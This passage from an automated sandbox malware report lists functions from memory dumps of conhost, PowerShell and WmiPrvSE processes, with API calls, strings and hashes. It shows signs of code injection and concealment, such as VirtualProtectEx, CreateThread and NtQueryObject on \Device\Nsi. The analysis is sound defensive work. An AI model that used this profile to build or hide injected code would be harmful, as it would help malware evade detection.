Instruction Fuzzy Hash: B7617D37604B4A8AEB20DF66D4803DD77A0F744B8CF054A16EF4917B99EB38D165C784

Function 000001DCB14E2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001DCB14E2416
StrCpyW.SHLWAPI ref: 000001DCB14E242D

Strings

\\.\pipe\, xrefs: 000001DCB14E2421

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: b335cddd0cc22ac3830e0d5702d85c5fbe92a77364fc0cbe75092a69748754c0
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: F651D13320478381E66C9A29A15A7FA67A1F3C97C4F448B27DE5A13B4DCA39C505CFC0

Function 000001DCB14F26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001DCB14F2807
GetLastError.KERNEL32 ref: 000001DCB14F2829

Strings

U, xrefs: 000001DCB14F27B3

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 120a6cef1945f6a11d1ef9902c96ca587515437ac47ab377f112b9d78cb8d4e9
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: E741B032314A8186EB21CF25E8457EAB7A0F7887D4F504623EE4E87788EB3CC401CB80

Function 000001DCB14E94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001DCB14E94F0
RaiseException.KERNEL32 ref: 000001DCB14E9531

Strings

csm, xrefs: 000001DCB14E951E

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 51c2b26d01f8b6b1778f961c3b3f815fed98a597b062c123ddcfe973fd9996e1
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: A6112B37214B8192EB658F15E44039977E5F788B94F588622EE8C0779CDF3CC551CB40

Function 000001DCAFC17356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001DCAFC1737C

Strings

riptor at (, xrefs: 000001DCAFC17364
ierarchy Descriptor', xrefs: 000001DCAFC17381

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 40fc34c6154609c2ffd773d436544478ba10669fe3508e64ef0ae5881986fc3d
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 1AE08672640B4A90DF119F22E8402D873A0DB58B78B499523A95C47395FB38D2FAC340

Function 000001DCAFC173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001DCAFC173D8

Strings

riptor at (, xrefs: 000001DCAFC173C0
Locator', xrefs: 000001DCAFC173DD

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 163ddd3d3f7235a25989d516fbc3924191d7f146e5288c1948802f7daf6cd46e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 04E08672640B4A80DF119F22D4401D87360E758B68B899523E94C47391FB38D1E9C340

Function 000001DCB14E1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14E1C2D
HeapAlloc.KERNEL32 ref: 000001DCB14E1C3B
GetProcessHeap.KERNEL32 ref: 000001DCB14E1C77
HeapFree.KERNEL32 ref: 000001DCB14E1C85

Part of subcall function 000001DCB14E152C: StrCmpIW.SHLWAPI ref: 000001DCB14E155D

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: fac9f6ce7a1fe059568c43d3eae592742512b8d24e6f32f28d5e182fe9de60df
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 5E118F36601B45C1EA09DB66E50A2A973A1FBCAFC0F188627DE4D83769DE38D452C780

Function 000001DCB14E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14E126E
HeapAlloc.KERNEL32 ref: 000001DCB14E127D
GetProcessHeap.KERNEL32 ref: 000001DCB14E1297
HeapAlloc.KERNEL32 ref: 000001DCB14E12A8

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 335a6de6a1a1984fcd648851762770889f641a924339599221c3d7a7d6db1a47
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 20E06535A01A0586EB098F62D90938A37E1FBC9F86F08C526C90D07365DF7EC899CB90

Analysis Process: powershell.exePID: 7784, Parent PID: 7616COMMON

Executed Functions

Function 00007FFD34194073 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

8>>4, xrefs: 00007FFD3419413A

Memory Dump Source

Source File: 00000011.00000002.2474837459.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID: 8>>4
API String ID: 0-1516185600
Opcode ID: 9b1f3c983214bbc3b4f1e2fcc2c47d15df752dc8344353aaaff636acfe5c87f0
Instruction ID: 86e2bc1eda2c1452a0228e2f84bea5b294f18f378540243656a96af1fe1912ff
Opcode Fuzzy Hash: 9b1f3c983214bbc3b4f1e2fcc2c47d15df752dc8344353aaaff636acfe5c87f0
Instruction Fuzzy Hash: B4510633B0DE560FEBA99E1C54A15B577D2EF96220B5801BAD14DC7193DE28FC059381

Function 00007FFD341940BF Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

8>>4, xrefs: 00007FFD3419413A

Memory Dump Source

Source File: 00000011.00000002.2474837459.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID: 8>>4
API String ID: 0-1516185600
Opcode ID: 445cc195b4c610bdfa14f75ab417a1ff72f6457db717bb17196374639efe9765
Instruction ID: d5f678c91a59bd4a7d38d39792b0348f0e8c612a3f267b78e75d1f11d82a387f
Opcode Fuzzy Hash: 445cc195b4c610bdfa14f75ab417a1ff72f6457db717bb17196374639efe9765
Instruction Fuzzy Hash: 6F219127B0EE564FE7A9DE1C44A117466D2EF66350B4900BAD55DC71A2CF1CFC05A381

Function 00007FFD3419681E Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

(B>4, xrefs: 00007FFD34196858

Memory Dump Source

Source File: 00000011.00000002.2474837459.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID: (B>4
API String ID: 0-1471016619
Opcode ID: 3f5007ad4cad63b31894593523c988416edc13eb2b100ff4928ca8ddc8fd0a52
Instruction ID: a6588b7aa052769e74ff87bacd19bee9a842cfc8bcff05a67a019a193d98f89b
Opcode Fuzzy Hash: 3f5007ad4cad63b31894593523c988416edc13eb2b100ff4928ca8ddc8fd0a52
Instruction Fuzzy Hash: 1D110633F1DB894FEB55DE9854A41A87BD2EF5A210B0400BEC54CD7193CD29AC45C3A0

Function 00007FFD340CA55C Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ccfa1fcd9270388406b9f3021fbe14d2133701637c188e856e807ac5326f8a1
Instruction ID: 59d18f1741f5c2e02914c7b622a9d0e1703317042a1184ad4320e67ac97944e3
Opcode Fuzzy Hash: 2ccfa1fcd9270388406b9f3021fbe14d2133701637c188e856e807ac5326f8a1
Instruction Fuzzy Hash: F9813C31A0CB4C4FDB59DB6C98497F97BE0EF66321F04426FD049D3192DA78A846CB91

Function 00007FFD340C96FA Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 933087a0afa3a8224247e038350d667443ac2f536e616d6b8543491c9c01538f
Instruction ID: 962e4635fefbf84557846262b10a96929daefa43801f7338c4e64262895587d4
Opcode Fuzzy Hash: 933087a0afa3a8224247e038350d667443ac2f536e616d6b8543491c9c01538f
Instruction Fuzzy Hash: C8613A72A0DAC94FE7059A6858695A97FE0FF52310F0442BFD0C8C71D3DA28AD06DBC2

Function 00007FFD33FAEEBF Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2472401871.00007FFD33FAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD33FAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd33fad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction ID: fd1d2f4e856d7b07259be65246ee8ce3ca8b06ac875949acd874cb229704c37d
Opcode Fuzzy Hash: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction Fuzzy Hash: AD014F3160CE088F9AA4EF1DE48595237E0FB98320710075AD41DC755AD735F891CBC1

Function 00007FFD340C33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd7bdb080d301f13d20f0c778934d2b47bcc6878ebb588afffc52a1ce257a2a
Instruction ID: 650eefa4ec8cf16f1c07b415097ca142914f3a65c086bb447bf2c36b52bea8b8
Opcode Fuzzy Hash: 5cd7bdb080d301f13d20f0c778934d2b47bcc6878ebb588afffc52a1ce257a2a
Instruction Fuzzy Hash: E601677121CB0C8FDB44EF0CE491AA5B7E0FB99364F50056DE58AC3691DB36E882CB45

Function 00007FFD341943FA Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2474837459.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4895cda6f010842e51759ae9cce33879621adfd099702eff31883c36bb69d35
Instruction ID: 9918a5c69c8bd200297d222ab61fa0edae7b2caca9d7e03d00c4557b6bd574dd
Opcode Fuzzy Hash: c4895cda6f010842e51759ae9cce33879621adfd099702eff31883c36bb69d35
Instruction Fuzzy Hash: 29F09A32A4C9458FDB58EF4CE4A48A877E0FF05324B4500BAE14DCB063DA29EC44C790

Function 00007FFD340CA2CB Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5976c3c1b4c1d120eb0dc79ad45d0cd4aa24fde8bec3042a0c49796d71db3e79
Instruction ID: 2688e8b096df1be871b4ec8a96903ff488a579eb032ec772260cf578510f213f
Opcode Fuzzy Hash: 5976c3c1b4c1d120eb0dc79ad45d0cd4aa24fde8bec3042a0c49796d71db3e79
Instruction Fuzzy Hash: 5BE04F35908A4C8F9F54EF18C85A5E97BE0FF69315B00029BE90DC7160DB719958CBC2

Non-executed Functions

Function 00007FFD340C84D3 Relevance: 6.4, Strings: 5, Instructions: 100COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD340C8562
K_^, xrefs: 00007FFD340C8522
K_^, xrefs: 00007FFD340C8572
K_^, xrefs: 00007FFD340C8502
K_^, xrefs: 00007FFD340C85C2

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^$K_^
API String ID: 0-3188868157
Opcode ID: e491c4519b07fdfbe68936ceef2f3fbde5908af6ffd92b949c1c0873201e267d
Instruction ID: 48c4ab839cfd27094bf1da4c658e75518928d90fa9fd5eb04e456ba10ed5056e
Opcode Fuzzy Hash: e491c4519b07fdfbe68936ceef2f3fbde5908af6ffd92b949c1c0873201e267d
Instruction Fuzzy Hash: 4131A067B0D6C25FE757073858B60A83FA1AF57224B1A00F7C5C8CF0A3EA185906E781

Function 00007FFD340C38FD Relevance: 24.1, Strings: 19, Instructions: 379COMMON

Download Yara Rule

Strings

h:4, xrefs: 00007FFD340C3A19
`:4, xrefs: 00007FFD340C3A89
L_I, xrefs: 00007FFD340C3A44
:4, xrefs: 00007FFD340C39B9
8:4, xrefs: 00007FFD340C3AB9
x:4, xrefs: 00007FFD340C3B39
X:4, xrefs: 00007FFD340C3939
X:4, xrefs: 00007FFD340C3999
x:4, xrefs: 00007FFD340C39D9
0:4, xrefs: 00007FFD340C3B29
0:4, xrefs: 00007FFD340C39C9
:4, xrefs: 00007FFD340C3B89
@:4, xrefs: 00007FFD340C3A49
L_I, xrefs: 00007FFD340C3944
:4, xrefs: 00007FFD340C3B19
:4, xrefs: 00007FFD340C3A09
X:4, xrefs: 00007FFD340C3AF9
P:4, xrefs: 00007FFD340C3B69
8:4, xrefs: 00007FFD340C3959

Memory Dump Source

Source File: 00000011.00000002.2473587953.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: L_I$L_I$ :4$0:4$0:4$8:4$8:4$@:4$P:4$X:4$X:4$X:4$`:4$h:4$x:4$x:4$:4$:4$:4
API String ID: 0-1150962951
Opcode ID: f13c786205aae1cf4d1c9bba31ff8aa901bc35577f74a9904e9eeada18ad7e78
Instruction ID: 96575681b740e424d4520af24c0a16f48cdf85fd8aa0a600bc9be33cc1aae584
Opcode Fuzzy Hash: f13c786205aae1cf4d1c9bba31ff8aa901bc35577f74a9904e9eeada18ad7e78
Instruction Fuzzy Hash: 4CC1E587F5FAC14BE356493C29F60746F80EF9361435805FBD1889F0EBA429ED09A2D2

Analysis Process: WmiPrvSE.exePID: 7928, Parent PID: 752COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 000002246446328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000224644632AE
PathFindFileNameW.SHLWAPI ref: 00000224644632BD

Part of subcall function 0000022464463844: StrCmpNIW.SHLWAPI ref: 000002246446385C

Part of subcall function 0000022464463790: GetModuleHandleW.KERNEL32 ref: 000002246446379E
Part of subcall function 0000022464463790: GetCurrentProcess.KERNEL32 ref: 00000224644637CC
Part of subcall function 0000022464463790: VirtualProtectEx.KERNEL32 ref: 00000224644637EE
Part of subcall function 0000022464463790: GetCurrentProcess.KERNEL32 ref: 0000022464463809
Part of subcall function 0000022464463790: VirtualProtectEx.KERNEL32 ref: 000002246446382A

CreateThread.KERNEL32 ref: 000002246446330B

Part of subcall function 0000022464461D14: GetCurrentThread.KERNEL32 ref: 0000022464461D1F

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 24d9a69b9f2811d097d7977f07e211b8fd88f9aa36758282d9768cdd6bfa49be
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 81116D70B10680A6FFB0BBE5F80F3B922DCB756355FD05128990681DDDEF78C0848A00

Function 0000022464461ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022464461628: GetProcessHeap.KERNEL32 ref: 0000022464461633
Part of subcall function 0000022464461628: HeapAlloc.KERNEL32 ref: 0000022464461642
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 00000224644616B2
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 00000224644616DF
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 00000224644616F9
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 0000022464461719
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 0000022464461734
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 0000022464461754
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 000002246446176F
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 000002246446178F
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 00000224644617AA
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 00000224644617CA

Sleep.KERNEL32 ref: 0000022464461AD7
SleepEx.KERNELBASE ref: 0000022464461ADD

Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 00000224644617E5
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 0000022464461805
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 0000022464461820
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 0000022464461840
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 000002246446185B
Part of subcall function 0000022464461628: RegOpenKeyExW.ADVAPI32 ref: 000002246446187B
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 0000022464461896
Part of subcall function 0000022464461628: RegCloseKey.ADVAPI32 ref: 00000224644618A0

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: a36ad86ea38c3722bba6d2696753954050bac1414b4e4c9784073a6c1ca4a3b7
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: DF31216530064172FFF0BBA6D65B3B957ADEB46FD0F8858218E0987E9EFE10C851CA10

Function 0000022464463844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002246446385C

Strings

dialer, xrefs: 0000022464463855

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 39d69f7b874f15cce44bd49a02fbcbc63cb0ee356c3901d629f3a2bd892f889a
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: E4D0A760311645AAFF74FFE688CE7B02398EB06754FC85020C90441D58DB18898EDB10

Function 000002246443273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002246443285E

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: ec08dc463c630cc2b47acb51ee02cfd31d10c6835a0ec07b7f99b5467f947d34
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 67613532B0169097DF69EF56A0057BDB39AFB55FA8F988121CE0907B8CCE34D852C780

Non-executed Functions

Function 0000022464462B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000022464462BD0
lstrlenW.KERNEL32 ref: 0000022464462E0A

Part of subcall function 000002246446199C: OpenProcess.KERNEL32 ref: 00000224644619C2
Part of subcall function 000002246446199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000224644619E0
Part of subcall function 000002246446199C: PathFindFileNameW.SHLWAPI ref: 00000224644619EF
Part of subcall function 000002246446199C: lstrlenW.KERNEL32 ref: 00000224644619FB
Part of subcall function 000002246446199C: StrCpyW.SHLWAPI ref: 0000022464461A0E
Part of subcall function 000002246446199C: CloseHandle.KERNEL32 ref: 0000022464461A1C

GetProcAddress.KERNEL32 ref: 0000022464462BE5

Part of subcall function 000002246446152C: StrCmpIW.SHLWAPI ref: 000002246446155D

Part of subcall function 0000022464463844: StrCmpNIW.SHLWAPI ref: 000002246446385C

StrCmpNIW.SHLWAPI ref: 0000022464462C28
lstrlenW.KERNEL32 ref: 0000022464462D50

Strings

NtQueryObject, xrefs: 0000022464462BDB
ntdll.dll, xrefs: 0000022464462BC9
\Device\Nsi, xrefs: 0000022464462C1B

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: af08292f66216871cd85cec39f1d071454b18b8a938ee9b2adbf9e046eb78b97
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 1AB1AB62310A50B2EFB4BFA5D44A7F963A9F746B84F845026EE4953F98DF34C880CB40

Function 0000022464467D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000022464467DAC
RtlCaptureContext.NTDLL ref: 0000022464467DD9
RtlLookupFunctionEntry.NTDLL ref: 0000022464467DF3
RtlVirtualUnwind.NTDLL ref: 0000022464467E34
IsDebuggerPresent.KERNEL32 ref: 0000022464467E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022464467EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000022464467EB4

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 928689e077b8d1e464e71ac0603b4a859ae22e107b8d212e9ea3e8ec6c0fcc30
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: D4314C72305B809AEBB0AFA0E8453ED7369F786754F84442ADB4D47A98EF38C549CB10

Function 000002246446D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002246446D31D
RtlLookupFunctionEntry.NTDLL ref: 000002246446D335
RtlVirtualUnwind.NTDLL ref: 000002246446D370
IsDebuggerPresent.KERNEL32 ref: 000002246446D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002246446D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002246446D3BE

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
